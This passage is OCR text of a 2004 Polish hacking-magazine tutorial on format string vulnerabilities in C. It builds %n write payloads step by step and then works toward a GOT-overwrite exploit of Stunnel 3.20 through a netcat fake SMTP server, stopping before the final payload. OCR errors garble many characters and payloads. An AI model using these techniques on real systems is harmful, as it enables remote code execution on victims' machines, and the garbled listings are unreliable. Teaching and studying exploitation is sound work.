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C iagi formatujace w jezyku C to cig-
gi tekstowe zawierajgce specjalne
znaczniki rozpoznawane przez funk-
cje printf() i jej pochodne (np. sprintf(),
fprint£()). Umozliwiaja okre$lenie formatu,
w jakim wys$wietlone zostang podane funkc;ji ar-
gumenty. Jesli program umozliwia uzytkowni-
kowi przekazanie wtasnego ciggu tekstowego,
a nastepnie uzyje go jako ciggu formatujgcego,
w wielu przypadkach intruz moze tak przygo-
towac ciag, by spowodowa¢ wykonanie przez
program wiasnego kodu.

Sposoéb dziatania ciggéw
formatujacych

Aby zrozumie¢, jak dziatajg ciggi formatujgce
i jak mozna wykorzystac je do przejecia kontroli
nad czyims$ programem, spojrzmy na Listing 1.
Przedstawia on program, ktéry korzysta z cig-
gu formatujacego, by wypisa¢ kroétki tekst:

$ ./listing 1
Nazwa firmy: Ogrodpol

Co jednak stanie sie, jesli funkcja print£() otrzy-

ma cigg formatujacy, ale nie otrzyma argumen-
tu? Sprébujmy uruchomic program z Listingu 2:
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W drugiej potowie 2000 r.

w srodowiskach zwigzanych

z bezpieczenstwem systemoéw
informatycznych zawrzato.
Odkryto catkiem nowa klase
naduzyé. Okazato sie, ze
mnéstwo programéw, miedzy
innymi tak znane aplikacje

jak wu-ftpd, Apache i PHP3
czy screen, ma powazne
dziury. A wszystko przez ciagi
formatujace.

$ ./listing 2

Nazwa firmy: Da

Przeanalizujmy sposéb dziatania ciggéw for-
matujacych, by dowiedziec sie, skad nasz pro-
gram wziagt wyswietlony cigg Da.

Na Rysunku 1 widaé, co dzieje sie na sto-
sie, kiedy wykonywany jest program z Listin-
gu 1 (po wywotaniu funkcji print£()). Na chwi-
le przed wywotaniem funkcji na stos odktada-
ne sg argumenty: wskaznik do cigqgu a i wskaz-
nik do ciggu formatujacego. Nastepnie funkcja
printf() bierze ze stosu wskaznik do ciggu for-
matujgcego i wypisuje ten cigg. Kiedy natrafia

Z artykutu nauczysz sie...

* jak wykorzysta¢ ciagi formatujace do przejecia
kontroli nad dziurawym programem,
jak unikng¢ btedéw umozliwiajgcych wykorzy-
stanie ciggéw formatujgcych we wiasnych pro-
gramach.

Powinienes wiedzieé...

powiniene$ zna¢ podstawy programowania
w jezyku C.
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Tabela 1. Najwazniejsze znaczniki w ciggach formatujgcych

znacznik wynik przekazywany jako
formatujacy

%d liczba catkowita
su liczba naturalna
$x liczba naturalna,
szesnastkowa
%s cigg tekstowy

o
=}

dotad znakéw

liczba wypisanych

zmienne lokalne
funkcji wywotujacej

wartosc¢
wartosé
wartosé

odniesienie

odniesienie

wskaznik do
zmiennej a

wskaznik do
ciggu
formatujacego

argumenty
funkcji printf ()

adres powrotu
z funkcji printf ()

kierunek rosniecia adreséw

kierunek ro$niecia stosu

Rysunek 1. Co dzieje sie na stosie przy wykonywaniu programu z Listingu 1

zmienne lokalne
funkcji wywotujacej

wskaznik do
ciggu
formatujgcego

argumenty
funkcji printf ()

adres powrotu
z funkcji printf ()

kierunek rosniecia adresow

kierunek ro$niecia stosu

Rysunek 2. Co dzigje sie na stosie przy wykonywaniu programu z Listingu 2

na znacznik s, bierze ze stosu kolej-
ny argument — wskaznik do zmiennej
a. Nastepnie wypisuje to, na co kie-

Listing 3. Prosty program
umozliwiajgcy wykorzystanie
wtasciwosci ciggéw
formatujgcych do wtasnych
celow

int main(int argc, char **argv) |
char f[256];
strepy (£, argv[l]);
(£) 7

printf (f)

ruje wskaznik, jako tekst (ss — ciag
tekstowy, patrz Tabela 1).

Z kolei na Rysunku 2 widaé, co
dzieje sie na stosie podczas wykona-
niaprint£() W programie z Listingu 2.
Kiedy print£() wWypisujac cigg forma-
tujacy natrafia na s, prébuje pobraé

Ciagi formatujace

Listing 1. Prosty program
korzystajgcy z ciggu
formatujgcego

int main()

char *a = "Ogrodpol";

printf ("Nazwa firmy: %$s\n", a);

Listing 2. Program z Listingu 1
pozbawiony argumentu

int main ()

printf ("Nazwa firmy: %s\n");

ze stosu wskaznik do tancucha zna-
koéw. Poniewaz jednak nie przekaza-
lismy argumentu, funkcja nie znaj-
dzie tam wskaznika. Bierze wiec ze
stosu kolejne cztery bajty(zawiera-
jace przypadkowe wartosci) i traktu-
je je jako wskaznik do tancucha zna-
kéw, a nastepnie wypisuje domnie-
many tancuch.

Jak wykorzystaé¢ wlasciwosci
ciggéw formatujacych

Pole do popisu dla intruza otwiera
sie, kiedy programista umozliwi prze-
kazanie ciggu tekstowego tak, by zo-
stat wykorzystany jako cigg formatu-
jacy. Spéjrzmy na program z Listin-
gu 3. Teoretycznie nie widaé w nim
zadnego btedu — uzytkownik podaje
jako argument programu tekst, ktéry
zostaje wypisany. Jesli jednak w cig-
gu podanym przez uzytkownika znaj-
dg sie znaki formatujgce, efekty mo-
ga by¢ zupetnie inne niz te zamierzo-
ne przez programiste.

Jak juz zauwazyliSmy po anali-
zie programu z Listingu 2, korzystajac
z ciggow formatujacych bedziemy mo-
gli odczyta¢ wartos¢ stosu. Uzyjmy
ciggu =x, ktory powoduje potraktowa-
nie argumentu jako czterobajtowego
adresu i wypisanie go szesnastkowo:

int main() |
int a;
printf ("raz dwa trzy %n\n", &a);

printf ("wypisano %d znakéw\n", a);

Listing 4. Prawidtowe uzycie znacznika %n
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main ( argc, *F*argv)
Xy
£12560];
strcpy (£, argv[l]);
printf (f);

Listing 5. Program, ktéry sprobujemy zaatakowac

printf ("\nzmienna x umieszczona jest pod adresem <«

%%, jej zawartosé¢ to 0x3x\n", &x, X);

$ ./listing 3 '%$x-%x-%x'

bffffcdf-0-0

Jak sie jednak okazuje, stosujac je-
den ze znacznikébw mozemy takze
pisa¢ w dowolnym miejscu pamie-
ci. Znacznikiem odpowiedzialnym za
ten stan rzeczy jest :n. Powoduje on,
ze do zmiennej, ktorej adres poda-
ny zostat jako argument, zapisywa-
na jest wypisana dotychczas licz-
ba znakéw. Prawidtowe uzycie te-
go znacznika mozna zaobserwowaé
w programie z Listingu 4:

$ ./listing 4
raz dwa trzy

wypisano 13 znakéw

Jak widag¢, pierwsze printf() wypi-
suje raz dwa trzy, a nastepnie za-
pisuje w zmiennej a liczbe wypi-
sanych znakéw (czyli trzynascie).
Drugie printf() wypisuje zawartos¢
zmiennej a.

Gdyby$my jednak w pierwszym
printf() nie podali argumentu (ad-
resu zmiennej a), ze stosu pobrane
zostatyby pierwsze z brzegu czte-
ry bajty, potraktowane jako adres
i pod ten wtasnie adres zapisana zo-
statby liczba wypisanych dotad zna-
kéw. Sprobujmy podaé programowi
z Listingu 3 cigg zawierajacy sn:

$ ./listing 3 '%n %n %n %n'

Segmentation fault

Program prébowat zapisywacé pod lo-
sowymi adresami wartosci okreslaja-
ce liczbe wypisanych znakéw. Spo-
wodowato to btagd segmentacji.

Szersze mozliwosci
Zapisywanie losowych liczb pod lo-
sowymi adresami nie daje zbyt wiel-

kiego pola do popisu. Mozemy co
najwyzej spowodowac zakonczenie
programu z bitedem. Aby uzyskaé
co$ wiecej, musimy panowa¢ nad
tym co piszemy i gdzie piszemy.

Aby sie tego nauczyé, sprobuj-
my zaatakowac¢ nieco rozbudowang
wersje programu z Listingu 3, przed-
stawiong na Listingu 5. Rozbudowa
polega na dodaniu zmiennej z. Na-
szym celem bedzie nadpisanie tej
zmiennej wybrang wartoscig za po-
mocg ciggu formatujgcego. Przyjmij-
my, ze w zmiennej x umiescimy licz-
be 287454020, czyli szesnastkowe
0x11223344.

Sprébujmy teraz uzyska¢ kon-
trole nad tym, co piszemy i gdzie
piszemy. Jak tatwo wywnioskowac,
ciag =xxx3n spowoduje zapisanie
pod przypadkowym adresem licz-
by trzy (przed sn sg bowiem trzy
znaki), a na przyktad cigg xxxxxxsn
— liczby sze$c. Wiemy wiec juz, jak
panowac nad tym, co piszemy. Nie-
co trudniej uzyskac¢ kontrole nad
tym, gdzie piszemy.

Zauwazmy, ze adres, pod kto-
ry zostanie zapisana wartos¢, jest
brany ze stosu. Jak wida¢ przy po-
réwnaniu Rysunkow 1 i 2, w miejscu,
w ktorym print£() spodziewa sie ko-
lejnych adresoéw (czyli nad ciggiem
formatujacym) znajdujg sie zmien-
ne lokalne funkcji, ktéra wywotuje
printf(). W naszym przypadku sg to
zmienne lokalne funkcji main (). Jesli
w ktoérejs z tych zmiennych umiesci-
my adres, pod ktéry chcemy pisag,
zostanie on — w sprzyjajacych oko-
licznosciach — potraktowany przez
printf() jako adres, pod ktéry ma
zosta¢ zapisana wartosc.

Aby przekona¢ sie, ze printf()
rzeczywiscie moze potraktowac za-
warto$¢ zmiennej £ jako argument,
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sprobujmy umiesci¢ w niej (na sa-
mym poczatku tablicy) ciag aaaa,
a nastepnie wypisa¢ go za pomocg
znacznika sx. W tym celu wydajmy
polecenie:

$ ./listing 5 'AAAA-%x-%$x-%x-%x-%x'
ARAA-bffffc44-0-0-41414141-2d78252d
zmienna x umieszczona jest pod adresem

bffffaac, jej zawarto$¢ to 0x40156238

Jak wida¢, po napotkaniu znaczni-
ka sx funkcja printf() pobrata ze
stosu czterobajtowe stowo (oczeku-
jac w tym miejscu argumentu) i wypi-
sata je szesnastkowo: brfrfc4s4. Dru-
gi znacznik spowodowat wypisanie
drugiego czterobajtowego stowa ze
stosu, podobnie kolejne. Zauwaz-
my, ze czwarty znacznik sx spowo-
dowat wypisanie liczby 0x41414141,
a jest to zapisany szesnastkowo ciag
AAAA.

Oznacza to, ze pierwsze czte-
ry bajty tablicy f11 sa przechowy-
wane na stosie w takim miejscu,
ze printf() traktuje je jako czwarty
pseudoargument. W takim razie, je-
Sli zamiast czwartego znacznika sx
uzyjemy sn, ten pseudoargument zo-
stanie potraktowany jako adres, pod
ktéry chcemy pisac. W efekcie wyda-
nie polecenia:

$ ./listing 5 'AAAA-%x-%x-%x-%n-%x'

spowoduje zapisanie jakiej$ liczby
pod adresem o0x41414141.

My jednak nie chcemy pisaé pod
adres ox41414141, ale pod adres, pod
ktérym przechowywana jest za-
wartos¢ zmiennej x. Ten adres to
oxbffffaac. Umieszczenie w tablicy
£11 bajtu 0x41 byto dos¢ proste — tej
liczbie odpowiada litera A w kodzie
ASCII. Aby umiesci¢ tam liczbe 0xbf,
ktérej nie odpowiada zadna zwykfa
litera, musimy zastosowa¢ maty trik.

Wykorzystamy do tego celu dwa
fakty. Po pierwsze: za pomoca pole-
cenia echo mozemy wypisa¢ dowol-
ny bajt. Wystarczy uzyé przetaczni-
ka -e i poda¢ szesnastkowo odpo-
wiedni kod:

$ echo -e "\x41\x42\x43\x44"
ABCD
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99

88 77 66

00

00 00 66

00 00

00 77

00 00 00

88

00 00 00 99

Rysunek 3. Sztuczka umozliwiajgca zapisywanie duzych liczb za pomocag

mniejszych

Po drugie: jesli w poleceniu zawrze-
my jakas$ komende zamknietg w zna-
kach odwréconego apostrofu (), zo-
stanie ona wykonana, a poleceniu
zostanie przekazany wynik. Przy-
ktad: polecenie cat ‘which 1s° jest
rbwnowazne cat /bin/ls.

taczac te dwa fakty, mozemy
wydac¢ polecenie:

$ ./listing 5 \
‘echo -e "\x41\x41\x41\x41'"\

i bedzie ono réwnowazne poleceniu:
$ ./listing 5 'AAARA-%X-%xX-%xX-%x-%x'

Tak wiec, aby czwartym pseudoar-
gumentem byta liczba 0x11223344
mozemy wydacé polecenie:

$ ./listing 5 \
‘echo -e "\x11\x22\x33\x44'"\

Jego efekt bedzie nastepujacy:

"3D-bffffc44-0-0-44332211-2d78252d
zmienna x umieszczona jest pod adresem

bffffaac, jej zawartos¢ to 0x40156238

Jak widac, teraz czwartym pseudo-
argumentem jest wartos¢, ktérg po-
dalismy w linii polecen. Bajty pojawi-
ty sie jednak w odwrotnej kolejnosci,
ze wzgledu na fakt, ze pracujemy na
architekturze little endian.

Chcac wiec zapisa¢ co$ w miej-
scu, pod ktérym przechowywa-
na jest zmienna x, czyli pod ad-

Hakin8 Nr 5/2004

resem bifffaac, Musimy podac
ten adres w linii polecen zamiast
0x11223344:

$ ./listing 5 \
‘echo -e '\xac\xfa\xff\xbf'"\

74" 2-bffffcd4-0-0-bffffaac-2d78252d
zmienna x umieszczona jest pod adresem

bffffaac, jej zawarto$é to 0x40156238

Jak wida¢, w czwartym pseudoar-
gumencie znajduje sie Oxbffffaac,
czyli adres zmiennej x. Teraz wy-
starczy zamiast czwartego znacz-
nika sx uzy¢ =n, a spowodujemy
zmodyfikowanie zawartosci zmien-
nej x:

./listing 5 \
‘echo -e '\xac\xfa\xff\xbf''\

74" 2-bffffcd4-0-0--2d78252d
zmienna x umieszczona jest pod adresem

bffffaac, jej zawartosé to 0x12

Udato nam sie nadpisa¢ zmienng x,
ale nie wartoscig 0x11223344, tylko
0x12 (dziesigtkowe 18) — tyle wta-
Snie znakoéw zostato wypisanych,
zanim funkcja printf() dotarta do
znacznika =n. Wystarczy wiec dopi-
sa¢ przed znacznikiem =n kilka do-
wolnych znakéw (na przyktad liter
c), a do zmiennej x trafi odpowiednio
wieksza liczba.

Policzmy, ile liter ¢ musimy do-
da¢. W tej chwili do x trafia licz-
ba 18, a chcemy, zeby trafiato tam
287454020, czyli szesnastkowe
0x11223344. Musimy wiec dopisac

Ciagi formatujace

287454020-18=287454002 liter c.
Prawie trzysta milionéw. Nie bedzie
to proste, zwlaszcza, ze tablica 13
miesci tylko 2560 bajtow.

Na skroéty
Zanim dowiemy sie, jak korzystaé
ze znacznika =n do wstawiania du-
zych liczb, przyjrzyjmy sie jesz-
cze jednej przydatnej cesze funk-
Cji printf(). Dotad w celu skorzy-
stania z czwartego pseudoargu-
mentu najpierw kazaliSmy printf()
skorzysta¢ z trzech poprzednich.
W ten sposoéb, jesli chcielismy, ze-
by znacznik :n pisat pod adres
umieszczony w czwartym pseudo-
argumencie, najpierw umieszcza-
lismy w ciggu formatujgcym trzy
znaczniki &x.

Ten cel mozna jednak osiggnaé
w prostszy sposob. Polecenie:

$ ./listing 5 \
‘echo -e '"\x41\x41\x41\x41'"'-%45x'

spowoduje wypisanie czwartego
pseudoargumentu — odpowiada za
to znacznik s4sx.

AAAA-41414141
zmienna x umieszczona jest pod adresem

bffff9ec, jej zawartos¢ to 0x4015d550

Podobnie, aby zmodyfikowaé za-
warto§¢ zmiennej %, mozemy
wprost nakazac¢ pisanie pod adres
okreslony przez czwarty pseudo-
argument:

./listing 5 ‘echo -e \
"\xac\xfa\xff\xbf'" '-%4Sn"

Za 2=

zmienna x umieszczona jest pod adresem

bffffaac, jej zawartosc to 0x5

Uwaga: podczas przeprowadzania
eksperymentéw moze okazac sie, ze
kiedy jako argument linii polecen po-
damy ciag o innej dtugosci, zmien-
na x jest przechowywana pod innym
adresem. Dlatego za kazdym razem
trzeba uwaznie przyglada¢ sie po-
dawanemu przez program adresowi
zmiennej x i, jesli trzeba, odpowied-
nio zmienia¢ wartos¢ podawang w li-
nii polecen.
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Jak zapisywa¢ duze liczby
Zastanowmy sie teraz, jakiej
sztuczki uzy¢, by za pomoca nie-
wielkich liczb umiesci¢ w pamie-
ci duze wartosci. Propozycje ta-
kiej sztuczki wida¢ na Rysunku 3.
Widaé na nim sposob, w jaki moz-
na umiesci¢ w pamieci czterobaj-
towg liczbe 0x99887766, nie zapi-
sujac jednorazowo liczby wiekszej
niz Oxff.

Jak widaé, najpierw pod odpo-
wiednim adresem umiescimy licz-
be 0x66. Nastepnie pod adresem
o jeden wiekszym — 0x77, a pod
kolejnymi 0x88 i 0x99. W efekcie
w pamieci zapisana zostata liczba
0x99887766. Efektem ubocznym
jest nadpisanie zerami trzech bajtow
przed 0x99887766.

Aby dodatkowo utatwi¢ so-
bie zadanie, postuzymy sie jesz-
cze jednym mechanizmem, ktory
umozliwi nam unikniecie wypisy-
wania bardzo duzej liczby znakéw.
Znaczniki formatujgce umozliwiajg
wyrownywanie wypisywanych war-
tosci do okreslonej liczby znakow.
Na przyktad =24x powoduje, ze wy-
pisana zostanie wartos¢ szesnast-
kowa, wyréwnana do dwudziestu
czterech znakéw. Do wypisanej tre-
Sci zostanie dotozona taka liczba
spacji, zeby taczna liczba wypisa-
nych znakéw wyniosta 24.

Sprawdzmy, jak dziata ta me-
toda, umieszczajagc w zmiennej x
liczbe 200. Jak pamietamy, pole-
cenie:

./listing 5 \
‘echo -e '"\xac\xfa\xff\xbf' '-%4Sn"

powoduje umieszczenie w zmien-
nej x liczby 5. Aby umieséci¢ w x licz-
be 200 (o 195 wiekszg), do cia-
gu formatujacego dodamy znacznik
%195x, wypisujacy 195 znakéw:

./listing 5 \
‘echo -e "\xac\xfa\xff\xbf'"\
'-%195x%4$n"

Z4 2= (...)bffffc49

zmienna x umieszczona jest pod adresem

bffffaac, jej zawarto$¢ to 0xc8

0xc8 to dziesigtkowo 200.

11 22 33 44
00 00 00 44
00 00 01 33
00 00 02 22

00 00 03 1

Rysunek 4. Modyfikacja sztuczki z Rysunku 3

Sprobujmy potaczy¢ obie meto-
dy, by umiesci¢ w zmiennej x liczbe
0x99887766. W tym celu dziurawe-
mu programowi podamy cigg sktada-
jacy sie po kolei z:

» czterobajtowego adresu — adresu
zmiennej x,

» czterobajtowego adresu — adre-
su o jeden wiekszego od adresu
zmiennej x,

+ czterobajtowego adresu — adre-
su o dwa wiekszego od adresu
zmiennej x,

+ czterobajtowego adresu — adre-
su o trzy wiekszego od adresu
zmiennej x,

* znacznika
— wypisujgcego tyle znakoéw, by
tacznie wypisanych byto 0x66
znakow,

* znacznika 45n — umieszczaja-
cego liczbe wypisanych znakow
(czyli 0x66) w adresie wzietym
z czwartego pseudoargumentu
(czyli w pierwszym bajcie zmien-
nej x),

* znacznika
— wypisujgcego tyle znakow, by

$<jakas _ liczba>x

$<jakas _ liczba>x

tacznie, z poprzednio wypisa-
nymi znakami, wypisanych byto
0x77 znakow,

znacznika :5sn — umieszczaja-
cego liczbe wypisanych znakow
(czyli 0x77) w adresie wzietym
z pigtego pseudoargumentu (czy-
li w drugim bajcie zmiennej x),
znacznika s<jakas liczba>x
— wypisujgcego tyle znakow, by
tacznie, z poprzednio wypisa-
nymi znakami, wypisanych byto
0x88 znakow,

znacznika :6sn — umieszcza-
jacego liczbe wypisanych zna-
kéw (czyli 0x88) w adresie wzie-
tym z szoéstego pseudoargu-
mentu (czyli w trzecim bajcie
zmiennej x),

znacznika s<jakas _liczba>x
— wypisujgcego tyle znakow, by
tacznie, z poprzednio wypisa-
nymi znakami, wypisanych byto
0x99 znakow,

znacznika 7sn — umieszczajgcego
liczbe wypisanych znakéw (czy-
li 0x99) w adresie wzietym z siod-
mego pseudoargumentu (czyli
w czwartym bajcie zmiennej x).

Stunnel

szyfrowania.

posredniczyt w potaczeniu.

Program Stunnel stuzy do szyfrowanego tunelowania potgczenia TCP. Oznacza
to mozliwo$¢é nawigzania potaczenia szyfrowanego migdzy dwoma maszynami
w sytuacji, kiedy taczace sie programy lub protokoty nie umozliwiajg stosowania

Stunnel moze by¢ na przyktad wykorzystany do nawigzania szyfrowanego po-
taczenia z serwerem SMTP, nawet jesli nasz klient pocztowy nie umozliwia korzy-
stania z SSL. Kiedy bedziemy chcieli potaczy¢ sie z serwerem SMTP, bedziemy za-
miast tego taczy¢ sie ze Stunnelem dziatajgcym na lokalnym komputerze, na lokal-
nym porcie. Stunnel nawigze szyfrowane potaczenie z serwerem SMTP i bedzie
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Policzmy, ile znakéw trzeba wypi-
sywac. Cztery adresy umieszczo-
ne na poczatku ciggu formatuja-
cego zajmujg tacznie szesnascie
bajtéw, wiec pierwszy znacznik
%<jakas _liczba>x Musi wypisywac
0x66-16=86 znakéw. Drugi znacz-
nik ¢<jakas liczba>x powinien wy-
pisa¢ 0x77-0x66=17 znakéw, trzeci
— 0x88-0x77=17 znakow, a czwarty
— 0x99-0x88=17.

Ostatecznie wiec cigg, ktorego
uzyjemy, wyglada¢ bedzie nastepu-
jaco:

xac\xfa\xff\xbf\xad\xfa\xff\xbf <
xae\xfa\xff\xbf\xaf\xfa\xff\xbf <«
$86x%45n%17x%55n%17x%65n%17x%75n

Zas$ polecenie, ktore go wypisze:

$ ./listing 5 \
‘echo -e '"\xac\xfa\xff\xbf' «
"\xad\xfa\xff\xbf''\xae\xfa\xff\xbf' <«
"\xaf\xfa\xff\xbf' '%$86x%4Sn <
$17x%55n%17x%65n%17x%75n"

Nie daje ono jednak oczekiwanego
rezultatu:

707207 200" 220" 2 (.. ) bEEEEC2T
(..)0¢(..

zmienna x umieszczona jest pod adresem

.)0(...)bffffaac
bffffalc, jej zawartosé to 0x40156238

Podanie dluzszego argumentu linii
poleceh spowodowato, ze zmienit
sie adres zmiennej x, musimy wiec
odpowiednio zmieni¢ cztery adresy,
od ktérych zaczyna sie nasz ciag:

$ ./listing 5 \
‘echo -e '"\x7c\xfa\xff\xbf' «
"\x7d\xfa\xff\xbf''\x7e\xfa\xff\xbf' <«
"\x7f\xfa\xff\xbf'" '%$86x%4Sn <
$17x%55n%17x%65n%17x%75n"

0(...)0(...)bffffa8c
zmienna x umieszczona jest pod adresem

bffffa8c, jej zawartosé to 0x99887766

Pierwotnie jednak chcieliSmy miec¢
w zmiennej x liczbe 0x11223344,
a nie 0x99887766. Poniewaz jed-
nak liczba 0x33 jest mniejsza niz
0x44, nie da sie najpierw wypi-
sa¢ 0x44 znakéw, a potem wypi-
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Ciagi formatujace

if (fdprintf(local wr, line)<0)
return -1;

while (strncmp (line, "220-",4)==0);

Listing 6. Btgd w funkcji smtp_client() w programie Stunnel

do /* Copy +iline greeting */
if (fdscanf (remote, "$["\n]", line)<0)
return -1;

sac jeszcze troche, by tgcznie wy-
pisanych byto 0x33 znakéw. Na
szczescie mozemy zamiast liczby
0x33 uzy¢ np. 0x133, zamiast 0x22
— 0x222, zamiast 0x11 — 0x311.
Efekt bedzie ten sam — patrz Rysu-
nek 4. Uwzgledniajac fakt, ze przy
zmianie tresci ciggu formatujgcego
zmienit sie adres zmiennej %, odpo-
wiednie polecenie bedzie wygladac
w nastepujacy sposob:

$ ./listing 5 ‘echo -e \
'"\x6c\xfa\xff\xbf' <
'"\x6d\xfa\xff\xbf' <
'"\x6e\xfa\xff\xbf' <
"\x6f\xfa\xff\xbf"' "\
'$52x%45n%239x%55n%239x «
'$65n%239x%7%n
$58n%273x%65n%222x%7$n"

14 zmd znt zou z(...)bffffcl) «
(...)0(..

zmienna x umieszczona jest pod adresem

) 0(...)bffffa6e

bffffa6c, jej zawartodé to 0x11223344

Przykiad z zycia wziety
Czas zastosowac wiedze w prakty-
ce, do przejecia kontroli nad praw-
dziwg aplikacja, a nie testowym
programem. Naszym celem be-
dzie wersja 3.20 programu Stun-
nel (patrz Ramka Stunnel). Znale-
ziono w niej btad zwigzany z cigga-
mi formatujgcymi, objawiajacy sie
w chwili, kiedy Stunnel dziata jako
klient SMTP.

W funkcﬁ smtp client() zde-
finiowanej w pliku protocol.c (pet-
ne zrodta tej wersji Stunnela moz-
na znalez¢ na naszym CD) znaj-
duje sie fragment widoczny na Li-
stingu 6.

Jak widaé, do tablicy 1ine wczy-
tywany jest ciag pobrany z pliku
o deskryptorze remote. Nastepnie
zawarto$¢ tablicy 1ine wpisywana
jest — za pomocg funkcji fdprintf()
— do pliku o deskryptorze 1ocal wr.

Jesdli w zmiennej 1ine umiescimy
znaczniki formatujgce, zostang one
zinterpretowane przez tdprintf().

Jak wykorzysta¢ btad

Jesli przyjrzymy sie doktadniej zro-
dtom Stunnela, okaze sie, ze funk-
Cja smtp _client() zostanie wykona-
na, kiedy Stunnel zostanie wykorzy-
stany do nawigzania szyfrowanego
potaczenia z serwerem SMTP, czyli
uruchomiony z opcjami:

$ ./stunnel -c -n smtp \

-r 127.0.0.1:2525

Wyglada na to, ze jesli serwer SMTP
przesle wtedy Stunnelowi ciag za-
wierajacy  znaczniki  formatujg-
ce, zostang one zinterpretowane.
Sprawdzmy, czy tak jest w praktyce.
Zamiast serwera SMTP uzyjmy net-
cata, uruchomionego tak, by nastu-
chiwat na porcie 2525:

$ nc -1 -p 2525

Nastepnie na drugim terminalu uru-
chomimy Stunnel, za pomocg kto-
rego nawigzemy potaczenie z net-
catem:

$ ./stunnel -c -n smtp \

-r 127.0.0.1:2525
Jesli teraz w pierwszym terminalu
(tym, na ktérym dziata netcat) wpi-

szemy cigg formatujacy:

AAAA. %X.

o0

oo
e

X.%X.
Stunnel wypisze:
AAAA.bffff4e0.402£4550.0

Jesli wiec podstepem spowoduje-

my, ze ofiara potgczy sie za pomo-
cq dziurawej wersji Stunnela z na-
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strncmp () |
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}

GOT:

(.00
strncmp<€
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program:

(..)
strncmp (line, "220-", 4)
(..

Rysunek 5. Schemat skoku do
strncmp() przez GOT

szym komputerem, na ktérym dzia-
ta netcat udajacy serwer SMTP, mo-
zemy wystaé spreparowany cigg for-
matujacy. Jak juz sie przekonali-
sSmy, wten sposéb mozemy umie-
$ci¢ w pamieci komputera ofiary do-
wolng warto$¢ pod dowolnym adre-
sem. Musimy jeszcze wiedzie¢, w ja-
ki sposéb wykorzystaé te mozliwos¢
— jakie miejsce w pamieci nadpisze-
my i jakg wartoscia.

Aby uzyska¢ kontrole nad kom-
puterem ofiary, musimy zmusic¢ pro-
gram do wykonania dostarczone-
go przez nas kodu. Majgc do dys-
pozycji mozliwos¢ pisania w dowol-
nym miejscu pamieci jesteSmy w sta-
nie spowodowac, ze program wywo-
ta inng funkcje, niz przewidywat je-
go tworca. Sprébujemy wiec zmu-
si¢ go do wywotania funkcji system ()
z podanymi przez nas parametra-
mi. Spowoduje to uruchomienie ko-
du dostarczonego w postaci para-
metréw.

Skorzystanie

z Global Offset Table

Aby zmusi¢ program do wykona-
nia funkcji system(), zastosujemy
pewng wtasciwos$é dynamicznie fa-
czonych bibliotek (Dynamically Lin-
ked Library — DLL). Korzysta z nich
prawie kazda aplikacja. Otéz w mo-
mencie, kiedy program jest kompilo-
wany nie wiadomo jeszcze, pod ja-

kim adresem w pamieci znajdowac
sie beda funkcje z tadowanych p6z-
niej bibliotek. Dlatego w miejscu,
w ktéorym program ma skorzystac
z funkcji pochodzacej z biblioteki
DLL, podczas kompilacji umiesz-
czane jest odwotanie do specjalnej
struktury, zwanej GOT (ang. Global
Offset Table).

Struktura ta znajduje sie w prze-
strzeni adresowej procesu (w pa-
mieci) i zawiera adresy poszczegdl-
nych funkgcji ustalone podczas tado-
wania biblioteki DLL. Tak wiec, gdy
program chce korzysta¢ na przyktad
z funkcji strncmp() (patrz Rysunek
5), wykonuje skok do tablicy GOT.
Dopiero stad wykonywany jest skok
do odpowiedniego miejsca w pamie-
ci, do ktérego zatadowana zostata
funkcja strncmp () Z odpowiedniej bi-
blioteki (w tym przypadku libc).

Zobaczmy, co stanie sie z pro-
gramem Stnunnel (patrz Listing 6),
jesli zmodyfikujemy tablice GOT
tak, ze zapis dotyczacy funkciji
strncmp () bedzie wskazywaé na
funkcje system (). W praktyce zamiast
strncmp (line, ...) (ostatnialinUka Li-
stingu 6) wykonane zostanie polece-
nie system(line, ...). Poniewaz za-
warto$¢ zmiennej 1ine zalezy tylko
od nas (jest to tekst, ktory wysytamy
za pomocg nhetcata), mozemy umie-
Sci¢ w niej dowolne polecenie, ktére
nastepnie zostanie wykonane przez
powtoke. Cigg wystany za pomoca
netcata do Stunnelu musi wiec za-
wiera¢ dwa elementy:

* polecenie, ktére zostanie wyko-
nane przez powioke, zakohczo-
ne znakiem komentarza,

+ cigg formatujacy, powodujacy
nadpisanie wybranego przez nas
miejsca w pamieci (w strukturze
GOT) wybrang przez nas warto-
Scig (adresem funkcji), tak, by za-
miast strncmp () Wywotana zosta-
ta funkcja system ().

Aby przygotowa¢ odpowiedni ciag,
musimy najpierw ustali¢ kilka fak-

tow:

* w jakim miejscu w pamieci
(w przestrzeni adresowej procesu
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stunnel) znajduje sie wpis w GOT
odpowiadajacy funkcji strncmp (),

* w jakim miejscu w pamieci
(w przestrzeni adresowej proce-
su stunnel) zatadowana jest bi-
blioteka libc,

* w jakim miejscu w bibliotece libc
znajduje sie funkcja system().

Aby dowiedzie¢ sie, w jakim miej-
scu w pamieci znajduje sie wpis
w GOT odpowiadajacy funkciji
strnemp (), Skorzystamy z narzedzia
objdump, ktéry umozliwia wyswie-
tlanie informacji dotyczacych pli-
kow wynikowych (czyli plikéw beda-
cych wynikiem kompilacji). Opcja -r
(--dynamic-reloc) programu objdump
umozliwia wys$wietlenie wszystkich
dynamicznie relokowanych wpisow
w danym pliku — takze dzielonych bi-
bliotek. Wydajmy polecenie:

$ objdump -R stunnel

W wypisanej przez objdump liscie
znajdujemy wpis dotyczacy funkciji

strncmp ().

$ objdump -R stunnel | grep strncmp

08053490 R_386_JUMP_SLOT strncmp

Znaleziony adres — 0x08053490
— jest miejscem w pamieci, ktore ze-
chcemy zmodyfikowac.

Aby sprawdzi¢, w jakim miejscu
w pamieci zatadowana jest bibliote-
ka libc, obejrzyjmy zawarto$¢ pliku
/proc/<PID procesu stunnel>/maps.
Plik ten zawiera liste aktualnie zma-
powanych dla danego procesu adre-
séw pamieci oraz prawa dostepu do
nich (man proc). Uruchamiamy Stun-
nel i sprawdzamy jego PID:

$ nc -1 -p 2525
$ ./stunnel -c -n smtp \
-r 127.0.0.1:2525
$ ps | grep stunnel
2105 pts/1 00:00:00 stunnel

W pliku /proc/2105/maps znajduje-
my dwa wpisy dotyczace bibliote-

Ki libc:

40173000-402a6000 r-xp
00000000 07:00 81837
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/mnt/aurox/lib/tls/libc-2.3.2.s0
402a6000-4022a000 rw-p

00132000 07:00 81837

/mnt/aurox/lib/tls/libc-2.3.2.s0

Interesuje nas wpis z atrybutem wy-
konywalnosci (x). Zapamietajmy wiec
adres: 0x40173000.

Teraz musimy znalezé miejsce,
gdzie w bibliotece libc znajduje sie
funkcja system(). W tym celu skorzy-
stamy z narzedzia nm, ktére podaje
liste symboli w pliku wynikowym —
w naszym przypadku w pliku biblioteki
